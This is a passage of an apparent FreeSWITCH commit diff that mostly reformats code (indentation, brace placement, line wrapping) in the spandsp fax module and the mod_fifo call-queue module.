switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Image resolution: %ix%i\n", t.x_resolution, t.y_resolution);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Transfer Rate: %i\n", t.bit_rate);
@@ -195,11 +195,12 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "remote vendor: %s\n", switch_str_nil(t30_get_rx_vendor(s)));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "remote model: %s\n", switch_str_nil(t30_get_rx_model(s)));
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "==============================================================================\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ "==============================================================================\n");
/*
- Set our channel variables
- */
+ Set our channel variables
+ */
tmp = switch_mprintf("%i", result);
if (tmp) {
@@ -250,15 +251,15 @@
}
/* switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING); */
-
+
pvt->done = 1;
/*
- TODO Fire events
- */
+ TODO Fire events
+ */
}
-static switch_status_t spanfax_init(pvt_t * pvt, transport_mode_t trans_mode)
+static switch_status_t spanfax_init(pvt_t *pvt, transport_mode_t trans_mode)
{
switch_core_session_t *session;
@@ -342,7 +343,7 @@
Here goes the T.38 SpanDSP initializing functions
T.38 will require a big effort as it needs a different approach
but the pieces are already in place
- */
+ */
default:
assert(0); /* Whaaat ? */
break;
@@ -351,7 +352,7 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t spanfax_destroy(pvt_t * pvt)
+static switch_status_t spanfax_destroy(pvt_t *pvt)
{
int terminate;
t30_state_t *t30;
@@ -403,9 +404,9 @@
switch_codec_t write_codec = { 0 };
switch_frame_t *read_frame = { 0 };
switch_frame_t write_frame = { 0 };
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
int16_t *buf = NULL;
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_core_session_get_read_impl(session, &read_impl);
/* make sure we have a valid channel when starting the FAX application */
channel = switch_core_session_get_channel(session);
@@ -414,7 +415,7 @@
if (!switch_channel_media_ready(channel)) {
switch_channel_answer(channel);
}
-
+
/* Allocate our structs */
pvt = switch_core_session_alloc(session, sizeof(pvt_t));
@@ -468,8 +469,8 @@
pvt->verbose = globals.verbose;
}
- if ( (tmp=switch_channel_get_variable(channel, "fax_force_caller")) ) {
- if ( switch_true(tmp) ) {
+ if ((tmp = switch_channel_get_variable(channel, "fax_force_caller"))) {
+ if (switch_true(tmp)) {
pvt->caller = 1;
} else {
pvt->caller = 0;
@@ -515,7 +516,8 @@
pvt->filename = switch_core_session_strdup(session, data);
if (pvt->app_mode == FUNCTION_TX) {
if ((switch_file_exists(pvt->filename, switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot send inexistant fax file [%s]\n", switch_str_nil(pvt->filename));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot send inexistant fax file [%s]\n",
+ switch_str_nil(pvt->filename));
goto done;
}
}
@@ -548,12 +550,12 @@
}
/*
- *** Initialize the SpanDSP elements ***
+ *** Initialize the SpanDSP elements ***
- Note: we could analyze if a fax was already detected in previous stages
- and if so, when T.38 will be supported, send a reinvite in T38_MODE,
- bypassing AUDIO_MODE.
- */
+ Note: we could analyze if a fax was already detected in previous stages
+ and if so, when T.38 will be supported, send a reinvite in T38_MODE,
+ bypassing AUDIO_MODE.
+ */
if ((spanfax_init(pvt, AUDIO_MODE) != SWITCH_STATUS_SUCCESS)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot initialize Fax engine\n");
@@ -563,14 +565,14 @@
/*
Note: Disable echocan on the channel, remember to call app "disable_ec" in the dialplan
before invoking fax applications
- */
+ */
/*
- Note: we are disabling the Jitterbuffer, here, before we answer.
- If you have set it to something else and the channel is pre-answered,
- it will have no effect. Make sure that if you want more reliable
- faxes, it is disabled.
- */
+ Note: we are disabling the Jitterbuffer, here, before we answer.
+ If you have set it to something else and the channel is pre-answered,
+ it will have no effect. Make sure that if you want more reliable
+ faxes, it is disabled.
+ */
switch_channel_set_variable(channel, "jitterbuffer_msec", "0");
@@ -614,7 +616,7 @@
}
switch_ivr_sleep(session, 250, SWITCH_TRUE, NULL);
-
+
while (switch_channel_ready(channel)) {
int tx = 0;
switch_status_t status;
@@ -628,7 +630,7 @@
- call t38_terminal_send_timeout(), sleep for a while
The T.38 stuff can be placed here (and the audio stuff can be skipped)
- */
+ */
/* read new audio frame from the channel */
status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
@@ -640,7 +642,7 @@
/* Skip CNG frames (auto-generated by FreeSWITCH, usually) */
if (!switch_test_flag(read_frame, SFF_CNG)) {
- /* pass the new incoming audio frame to the fax_rx function */
+ /* pass the new incoming audio frame to the fax_rx function */
if (fax_rx(pvt->fax_state, (int16_t *) read_frame->data, read_frame->samples)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "fax_rx reported an error\n");
goto done;
@@ -670,13 +672,13 @@
}
- done:
+ done:
/* Destroy the SpanDSP structures */
spanfax_destroy(pvt);
/* restore the original codecs over the channel */
- switch_core_session_set_read_codec(session, NULL);
+ switch_core_session_set_read_codec(session, NULL);
if (switch_core_codec_ready(&read_codec)) {
switch_core_codec_destroy(&read_codec);
@@ -782,8 +784,10 @@
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
- SWITCH_ADD_APP(app_interface, "rxfax", "FAX Receive Application", "FAX Receive Application", spanfax_rx_function, SPANFAX_RX_USAGE, SAF_SUPPORT_NOMEDIA);
- SWITCH_ADD_APP(app_interface, "txfax", "FAX Transmit Application", "FAX Transmit Application", spanfax_tx_function, SPANFAX_TX_USAGE, SAF_SUPPORT_NOMEDIA);
+ SWITCH_ADD_APP(app_interface, "rxfax", "FAX Receive Application", "FAX Receive Application", spanfax_rx_function, SPANFAX_RX_USAGE,
+ SAF_SUPPORT_NOMEDIA);
+ SWITCH_ADD_APP(app_interface, "txfax", "FAX Transmit Application", "FAX Transmit Application", spanfax_tx_function, SPANFAX_TX_USAGE,
+ SAF_SUPPORT_NOMEDIA);
memset(&globals, 0, sizeof(globals));
switch_core_new_memory_pool(&globals.pool);
Modified: freeswitch/trunk/src/mod/applications/mod_fifo/mod_fifo.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_fifo/mod_fifo.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_fifo/mod_fifo.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -90,11 +90,10 @@
const char *consumer_exit_key = switch_channel_get_variable(channel, "fifo_consumer_exit_key");
if (switch_channel_test_flag(switch_core_session_get_channel(session), CF_BRIDGE_ORIGINATOR)) {
- if ( consumer_exit_key && dtmf->digit == *consumer_exit_key ) {
+ if (consumer_exit_key && dtmf->digit == *consumer_exit_key) {
switch_channel_hangup(bchan, SWITCH_CAUSE_NORMAL_CLEARING);
return SWITCH_STATUS_BREAK;
- }
- else if ( !consumer_exit_key && dtmf->digit == '*' ) {
+ } else if (!consumer_exit_key && dtmf->digit == '*') {
switch_channel_hangup(bchan, SWITCH_CAUSE_NORMAL_CLEARING);
return SWITCH_STATUS_BREAK;
} else if (dtmf->digit == '0') {
@@ -228,8 +227,8 @@
args.buflen = sizeof(buf);
if (switch_ivr_play_file(session, NULL, cd->list[cd->index], &args) != SWITCH_STATUS_SUCCESS) {
- return SWITCH_STATUS_FALSE;
- }
+ return SWITCH_STATUS_FALSE;
+ }
if (caller_exit_key && *buf == *caller_exit_key) {
cd->abort = 1;
@@ -250,8 +249,8 @@
{
fifo_node_t *node, **node_list = (fifo_node_t **) user_data;
int x = 0, total = 0, i = 0;
-
- for (i = 0 ;; i++) {
+
+ for (i = 0;; i++) {
if (!(node = node_list[i])) {
break;
}
@@ -288,17 +287,19 @@
{
switch_cache_db_connection_options_t options = { {0} };
switch_cache_db_handle_t *dbh = NULL;
-
+
if (!zstr(globals.odbc_dsn)) {
options.odbc_options.dsn = globals.odbc_dsn;
options.odbc_options.user = globals.odbc_user;
options.odbc_options.pass = globals.odbc_pass;
- if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
+ if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+ dbh = NULL;
return dbh;
} else {
options.core_db_options.db_path = globals.dbname;
- if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
+ if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
+ dbh = NULL;
return dbh;
}
}
@@ -321,7 +322,7 @@
status = switch_cache_db_execute_sql(dbh, sql, NULL);
end:
-
+
switch_cache_db_release_db_handle(&dbh);
if (mutex) {
@@ -336,16 +337,16 @@
switch_bool_t ret = SWITCH_FALSE;
char *errmsg = NULL;
switch_cache_db_handle_t *dbh = NULL;
-
+
if (mutex) {
switch_mutex_lock(mutex);
}
if (!(dbh = fifo_get_db_handle())) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
- goto end;
- }
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
+ goto end;
+ }
+
switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
if (errmsg) {
@@ -429,7 +430,7 @@
switch_mutex_unlock(node->mutex);
return total;
-
+
}
static switch_status_t hanguphook(switch_core_session_t *session)
@@ -441,9 +442,10 @@
if (state == CS_HANGUP || state == CS_ROUTING) {
if ((uuid = switch_channel_get_variable(channel, "fifo_outbound_uuid"))) {
- switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count-1, outbound_call_count=outbound_call_count+1, next_avail=%ld + lag where uuid='%s'",
- (long)switch_epoch_time_now(NULL), uuid);
-
+ switch_snprintf(sql, sizeof(sql),
+ "update fifo_outbound set use_count=use_count-1, outbound_call_count=outbound_call_count+1, next_avail=%ld + lag where uuid='%s'",
+ (long) switch_epoch_time_now(NULL), uuid);
+
fifo_execute_sql(sql, globals.sql_mutex);
}
switch_core_event_hook_remove_state_change(session, hanguphook);
@@ -476,7 +478,7 @@
switch_mutex_lock(globals.mutex);
node = switch_core_hash_find(globals.fifo_hash, h->node_name);
switch_mutex_unlock(globals.mutex);
-
+
if (node) {
switch_mutex_lock(node->mutex);
node->ring_consumer_count++;
@@ -485,19 +487,21 @@
switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count+1 where uuid='%s'", h->uuid);
fifo_execute_sql(sql, globals.sql_mutex);
-
+
switch_event_create(&ovars, SWITCH_EVENT_REQUEST_PARAMS);
switch_assert(ovars);
switch_event_add_header(ovars, SWITCH_STACK_BOTTOM, "originate_timeout", "%d", h->timeout);
-
- if (switch_ivr_originate(NULL, &session, &cause, h->originate_string, h->timeout, NULL, NULL, NULL, NULL, ovars, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
- switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count-1, outbound_fail_count=outbound_fail_count+1, next_avail=%ld + lag where uuid='%s'",
- (long)switch_epoch_time_now(NULL), h->uuid);
+
+ if (switch_ivr_originate(NULL, &session, &cause, h->originate_string, h->timeout, NULL, NULL, NULL, NULL, ovars, SOF_NONE, NULL) !=
+ SWITCH_STATUS_SUCCESS) {
+ switch_snprintf(sql, sizeof(sql),
+ "update fifo_outbound set use_count=use_count-1, outbound_fail_count=outbound_fail_count+1, next_avail=%ld + lag where uuid='%s'",
+ (long) switch_epoch_time_now(NULL), h->uuid);
fifo_execute_sql(sql, globals.sql_mutex);
goto end;
}
-
+
channel = switch_core_session_get_channel(session);
if ((member_wait = switch_channel_get_variable(channel, "fifo_member_wait")) || (member_wait = switch_channel_get_variable(channel, "member_wait"))) {
@@ -521,7 +525,8 @@
switch_event_destroy(&ovars);
if (node) {
switch_mutex_lock(node->mutex);
- if (node->ring_consumer_count-- < 0) node->ring_consumer_count = 0;
+ if (node->ring_consumer_count-- < 0)
+ node->ring_consumer_count = 0;
switch_mutex_unlock(node->mutex);
}
switch_core_destroy_memory_pool(&h->pool);
@@ -538,7 +543,7 @@
switch_threadattr_t *thd_attr = NULL;
switch_memory_pool_t *pool;
struct call_helper *h;
-
+
switch_core_new_memory_pool(&pool);
h = switch_core_alloc(pool, sizeof(*h));
h->pool = pool;
@@ -554,7 +559,7 @@
switch_thread_create(&thread, thd_attr, o_thread_run, h, h->pool);
(*need)--;
-
+
return *need ? 0 : -1;
}
@@ -576,10 +581,10 @@
static void *SWITCH_THREAD_FUNC node_thread_run(switch_thread_t *thread, void *obj)
{
fifo_node_t *node;
-
+
globals.node_thread_running = 1;
- while(globals.node_thread_running == 1) {
+ while (globals.node_thread_running == 1) {
switch_hash_index_t *hi;
void *val;
const void *var;
@@ -588,22 +593,22 @@
switch_mutex_lock(globals.mutex);
for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, &var, NULL, &val);
- if ((node = (fifo_node_t *) val)) {
- if (node->has_outbound && node->ready) {
- switch_mutex_lock(node->mutex);
- ppl_waiting = node_consumer_wait_count(node);
- consumer_total = node->consumer_count;
- idle_consumers = node_idle_consumers(node);
+ if ((node = (fifo_node_t *) val)) {
+ if (node->has_outbound && node->ready) {
+ switch_mutex_lock(node->mutex);
+ ppl_waiting = node_consumer_wait_count(node);
+ consumer_total = node->consumer_count;
+ idle_consumers = node_idle_consumers(node);
- /* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
- "%s waiting %d consumer_total %d idle_consumers %d ring_consumers %d\n", node->name, ppl_waiting, consumer_total, idle_consumers, node->ring_consumer_count); */
-
- if ((ppl_waiting - node->ring_consumer_count > 0)&& (!consumer_total || !idle_consumers)) {
- find_consumers(node);
+ /* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+ "%s waiting %d consumer_total %d idle_consumers %d ring_consumers %d\n", node->name, ppl_waiting, consumer_total, idle_consumers, node->ring_consumer_count); */
+
+ if ((ppl_waiting - node->ring_consumer_count > 0) && (!consumer_total || !idle_consumers)) {
+ find_consumers(node);
+ }
+ switch_mutex_unlock(node->mutex);
}
- switch_mutex_unlock(node->mutex);
}
- }
}
switch_mutex_unlock(globals.mutex);
@@ -611,7 +616,7 @@
}
globals.node_thread_running = 0;
-
+
return NULL;
}
@@ -632,7 +637,7 @@
if (globals.node_thread_running) {
globals.node_thread_running = -1;
- while(globals.node_thread_running) {
+ while (globals.node_thread_running) {
switch_yield(500000);
if (!--sanity) {
return -1;
@@ -643,15 +648,15 @@
return 0;
}
-static void check_cancel(fifo_node_t *node)
+static void check_cancel(fifo_node_t *node)
{
int ppl_waiting = node_consumer_wait_count(node);
-
+
if (node->ring_consumer_count > 0 && ppl_waiting < 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Outbound call count (%d) exceeds required value for queue %s (%d), "
"Ending extraneous calls\n", node->ring_consumer_count, node->name, ppl_waiting);
-
-
+
+
switch_core_session_hupall_matching_var("fifo_hangup_check", node->name, SWITCH_CAUSE_ORIGINATOR_CANCEL);
}
}
@@ -735,12 +740,12 @@
}
switch_mutex_unlock(globals.mutex);
-
+
str = switch_mprintf("dial:%s", url);
switch_queue_push(node->fifo_list[priority], (void *) str);
-
+
return switch_queue_size(node->fifo_list[priority]);
-
+
}
@@ -769,16 +774,16 @@
stream->write_function(stream, "%d", fifo_add_outbound(argv[0], argv[1], priority));
-
- free(data);
- return SWITCH_STATUS_SUCCESS;
+ free(data);
+ return SWITCH_STATUS_SUCCESS;
- fail:
- free(data);
+ fail:
+
+ free(data);
stream->write_function(stream, "0");
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
@@ -868,7 +873,7 @@
}
}
-
+
if (!(node = switch_core_hash_find(globals.fifo_hash, nlist[i]))) {
node = create_node(nlist[i], importance, globals.sql_mutex);
node->ready = 1;
@@ -982,7 +987,7 @@
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "FIFO-Slot", "%d", p);
switch_event_fire(&event);
}
-
+
switch_queue_push(node->fifo_list[p], (void *) strdup(uuid));
switch_snprintf(tmp, sizeof(tmp), "%d", switch_queue_size(node->fifo_list[p]));
switch_channel_set_variable(channel, "fifo_position", tmp);
@@ -1300,14 +1305,15 @@
switch_call_cause_t cause = SWITCH_CAUSE_NONE;
const char *o_announce = NULL;
url = uuid + 5;
-
+
if ((o_announce = switch_channel_get_variable(channel, "fifo_outbound_announce"))) {
switch_ivr_play_file(session, NULL, o_announce, NULL);
}
if (switch_ivr_originate(session, &other_session, &cause, url, 120, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
other_session = NULL;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Originate to [%s] failed, cause: %s\n", url, switch_channel_cause2str(cause));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Originate to [%s] failed, cause: %s\n", url,
+ switch_channel_cause2str(cause));
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(channel, event);
@@ -1317,7 +1323,7 @@
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Outbound-URL", url);
switch_event_fire(&event);
}
-
+
} else {
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(channel, event);
@@ -1326,7 +1332,7 @@
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Result", "success");
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Outbound-URL", url);
switch_event_fire(&event);
- }
+ }
url = NULL;
free(uuid);
uuid = strdup(switch_core_session_get_uuid(other_session));
@@ -1351,7 +1357,7 @@
const char *record_template = switch_channel_get_variable(channel, "fifo_record_template");
char *expanded = NULL;
-
+
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(channel, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Name", argv[0]);
@@ -1385,7 +1391,7 @@
const char *app = switch_channel_get_variable(other_channel, "current_application");
const char *arg = switch_channel_get_variable(other_channel, "current_application_data");
switch_caller_extension_t *extension = NULL;
-
+
switch_mutex_lock(node->mutex);
node->caller_count--;
switch_core_hash_delete(node->caller_hash, uuid);
@@ -1454,7 +1460,7 @@
switch_ivr_multi_threaded_bridge(session, other_session, on_dtmf, other_session, session);
switch_core_media_bug_pause(session);
switch_core_media_bug_pause(other_session);
-
+
if (record_template) {
switch_ivr_stop_record_session(session, expanded);
if (expanded != record_template) {
@@ -1487,7 +1493,7 @@
fifo_consumer_wrapup_sound = switch_channel_get_variable(channel, "fifo_consumer_wrapup_sound");
fifo_consumer_wrapup_key = switch_channel_get_variable(channel, "fifo_consumer_wrapup_key");
sfifo_consumer_wrapup_time = switch_channel_get_variable(channel, "fifo_consumer_wrapup_time");
- if (!zstr(sfifo_consumer_wrapup_time)){
+ if (!zstr(sfifo_consumer_wrapup_time)) {
fifo_consumer_wrapup_time = atoi(sfifo_consumer_wrapup_time);
} else {
fifo_consumer_wrapup_time = 5000;
@@ -1511,15 +1517,15 @@
args.buflen = sizeof(buf);
switch_ivr_play_file(session, NULL, fifo_consumer_wrapup_sound, &args);
}
-
+
if (fifo_consumer_wrapup_time) {
wrapup_time_started = switch_micro_time_now();
}
if (!zstr(fifo_consumer_wrapup_key) && strcmp(buf, fifo_consumer_wrapup_key)) {
- while(switch_channel_ready(channel)) {
+ while (switch_channel_ready(channel)) {
char terminator = 0;
-
+
if (fifo_consumer_wrapup_time) {
wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
if (wrapup_time_elapsed > fifo_consumer_wrapup_time) {
@@ -1529,14 +1535,15 @@
}
}
- switch_ivr_collect_digits_count(session, buf, sizeof(buf) - 1, 1, fifo_consumer_wrapup_key, &terminator, 0, 0, (uint32_t) wrapup_time_remaining);
+ switch_ivr_collect_digits_count(session, buf, sizeof(buf) - 1, 1, fifo_consumer_wrapup_key, &terminator, 0, 0,
+ (uint32_t) wrapup_time_remaining);
if ((terminator == *fifo_consumer_wrapup_key) || !(switch_channel_ready(channel))) {
break;
}
}
} else if (fifo_consumer_wrapup_time && (zstr(fifo_consumer_wrapup_key) || !strcmp(buf, fifo_consumer_wrapup_key))) {
- while(switch_channel_ready(channel)) {
+ while (switch_channel_ready(channel)) {
wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
if (wrapup_time_elapsed > fifo_consumer_wrapup_time) {
break;
@@ -1546,7 +1553,7 @@
}
switch_channel_set_variable(channel, "fifo_status", "WAITING");
}
-
+
if (do_wait && switch_channel_ready(channel)) {
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(channel, event);
@@ -1556,7 +1563,7 @@
}
}
}
-
+
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(channel, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Name", argv[0]);
@@ -1577,7 +1584,7 @@
}
}
- done:
+ done:
switch_mutex_lock(globals.mutex);
if (node && node->ready == FIFO_DELAY_DESTROY && node->consumer_count == 0 && node->caller_count == 0) {
@@ -1636,7 +1643,7 @@
switch_xml_set_attr_d(x_out, "outbound-call-count", argv[10]);
switch_xml_set_attr_d(x_out, "outbound-fail-count", argv[11]);
switch_xml_set_attr_d(x_out, "next-available", expires);
-
+
switch_xml_set_txt_d(x_out, argv[2]);
return 0;
@@ -1657,7 +1664,7 @@
h.verbose = verbose;
fifo_execute_sql_callback(globals.sql_mutex, sql, xml_callback, &h);
-
+
switch_safe_free(sql);
return h.cc_off;
@@ -1736,7 +1743,7 @@
switch_xml_set_attr_d(x_fifo, "waiting_count", tmp);
switch_snprintf(tmp, sizeof(buffer), "%u", node->importance);
switch_xml_set_attr_d(x_fifo, "importance", tmp);
-
+
cc_off = xml_outbound(x_fifo, node, "outbound", "member", cc_off, verbose);
cc_off = xml_hash(x_fifo, node->caller_hash, "callers", "caller", cc_off, verbose);
cc_off = xml_hash(x_fifo, node->consumer_hash, "consumers", "consumer", cc_off, verbose);
@@ -1851,7 +1858,7 @@
}
-const char outbound_sql[] =
+const char outbound_sql[] =
"create table fifo_outbound (\n"
" uuid varchar(255),\n"
" fifo_name varchar(255),\n"
@@ -1861,19 +1868,14 @@
" timeout integer,\n"
" lag integer,\n"
" next_avail integer,\n"
- " expires integer,\n"
- " static integer,\n"
- " outbound_call_count integer,"
- " outbound_fail_count integer,"
- " hostname varchar(255)\n"
- ");\n";
+ " expires integer,\n" " static integer,\n" " outbound_call_count integer," " outbound_fail_count integer," " hostname varchar(255)\n" ");\n";
static switch_status_t load_config(int reload, int del_all)
{
char *cf = "fifo.conf";
switch_xml_t cfg, xml, fifo, fifos, member, settings, param;
- switch_status_t status = SWITCH_STATUS_SUCCESS;
+ switch_status_t status = SWITCH_STATUS_SUCCESS;
char *sql;
switch_bool_t delete_all_outbound_member_on_startup = SWITCH_FALSE;
switch_cache_db_handle_t *dbh = NULL;
@@ -1892,7 +1894,7 @@
var = (char *) switch_xml_attr_soft(param, "name");
val = (char *) switch_xml_attr_soft(param, "value");
-
+
if (!strcasecmp(var, "odbc-dsn") && !zstr(val)) {
if (switch_odbc_available()) {
globals.odbc_dsn = switch_core_strdup(globals.pool, val);
@@ -1915,13 +1917,13 @@
globals.dbname = "fifo";
}
-
+
if (!(dbh = fifo_get_db_handle())) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot open DB!\n");
goto done;
}
-
+
switch_cache_db_test_reactive(dbh, "delete from fifo_outbound where static = 1", "drop table fifo_outbound", outbound_sql);
switch_cache_db_release_db_handle(&dbh);
@@ -1939,12 +1941,12 @@
switch_mutex_unlock(globals.mutex);
}
- if ((reload && del_all) || (!reload && delete_all_outbound_member_on_startup) ) {
+ if ((reload && del_all) || (!reload && delete_all_outbound_member_on_startup)) {
sql = switch_mprintf("delete from fifo_outbound where hostname='%q'", globals.hostname);
} else {
sql = switch_mprintf("delete from fifo_outbound where static=1 and hostname='%q'", globals.hostname);
}
-
+
fifo_execute_sql(sql, globals.sql_mutex);
switch_safe_free(sql);
@@ -1959,14 +1961,14 @@
int timeout_i = 60;
int lag_i = 10;
fifo_node_t *node;
-
+
name = switch_xml_attr(fifo, "name");
-
+
if ((importance = switch_xml_attr(fifo, "importance"))) {
if ((imp = atoi(importance)) < 0) {
imp = 0;
}
- }
+ }
if (!name) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "fifo has no name!\n");
@@ -1978,11 +1980,11 @@
node = create_node(name, imp, globals.sql_mutex);
}
switch_mutex_unlock(globals.mutex);
-
+
switch_assert(node);
-
+
switch_mutex_lock(node->mutex);
-
+
for (member = switch_xml_child(fifo, "member"); member; member = member->next) {
const char *simo = switch_xml_attr_soft(member, "simo");
const char *lag = switch_xml_attr_soft(member, "lag");
@@ -2007,12 +2009,12 @@
lag_i = 10;
}
}
-
+
name_dup = strdup(node->name);
if ((p = strchr(name_dup, '@'))) {
*p = '\0';
}
-
+
if (switch_stristr("origination_caller_id", member->txt)) {
sql = switch_mprintf("insert into fifo_outbound "
"(uuid, fifo_name, originate_string, simo_count, use_count, timeout, lag, "
@@ -2030,7 +2032,7 @@
"'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,"
"origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,0,0,1,0,0,'%q')",
digest, node->name, node->name, name_dup, member->txt, simo_i, 0, timeout_i, lag_i, globals.hostname);
-
+
}
switch_assert(sql);
@@ -2038,14 +2040,14 @@
free(sql);
free(name_dup);
node->has_outbound = 1;
-
+
}
node->ready = 1;
node->is_static = 1;
switch_mutex_unlock(node->mutex);
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s configured\n", node->name);
-
+
}
}
switch_xml_free(xml);
@@ -2057,7 +2059,7 @@
void *val, *pop;
fifo_node_t *node;
switch_mutex_lock(globals.mutex);
- top:
+ top:
for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
int x = 0;
switch_hash_this(hi, NULL, NULL, &val);
@@ -2076,7 +2078,7 @@
free(pop);
}
}
-
+
switch_core_hash_delete(globals.fifo_hash, node->name);
switch_core_hash_destroy(&node->caller_hash);
switch_core_hash_destroy(&node->consumer_hash);
@@ -2099,15 +2101,15 @@
char digest[SWITCH_MD5_DIGEST_STRING_SIZE] = { 0 };
char *sql, *name_dup, *p;
fifo_node_t *node = NULL;
-
+
switch_md5_string(digest, (void *) originate_string, strlen(originate_string));
-
+
sql = switch_mprintf("delete from fifo_outbound where fifo_name='%q' and uuid = '%q'", fifo_name, digest);
switch_assert(sql);
fifo_execute_sql(sql, globals.sql_mutex);
free(sql);
-
-
+
+
switch_mutex_lock(globals.mutex);
if (!(node = switch_core_hash_find(globals.fifo_hash, fifo_name))) {
node = create_node(fifo_name, 0, globals.sql_mutex);
@@ -2115,7 +2117,7 @@
}
switch_mutex_unlock(globals.mutex);
- node->has_outbound = 1;
+ node->has_outbound = 1;
name_dup = strdup(fifo_name);
if ((p = strchr(name_dup, '@'))) {
@@ -2128,13 +2130,12 @@
"values ('%q','%q',"
"'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,"
"origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,%d,%ld,0,0,0,'%q')",
- digest, fifo_name, fifo_name, name_dup, originate_string, simo_count, 0, timeout, lag, 0, (long)expires, globals.hostname
- );
+ digest, fifo_name, fifo_name, name_dup, originate_string, simo_count, 0, timeout, lag, 0, (long) expires, globals.hostname);
switch_assert(sql);
fifo_execute_sql(sql, globals.sql_mutex);
free(sql);
free(name_dup);
-
+
}
static void fifo_member_del(char *fifo_name, char *originate_string)
@@ -2143,7 +2144,7 @@
char *sql;
switch_md5_string(digest, (void *) originate_string, strlen(originate_string));
-
+
sql = switch_mprintf("delete from fifo_outbound where fifo_name='%q' and uuid = '%q' and hostname='%q'", fifo_name, digest, globals.hostname);
switch_assert(sql);
fifo_execute_sql(sql, globals.sql_mutex);
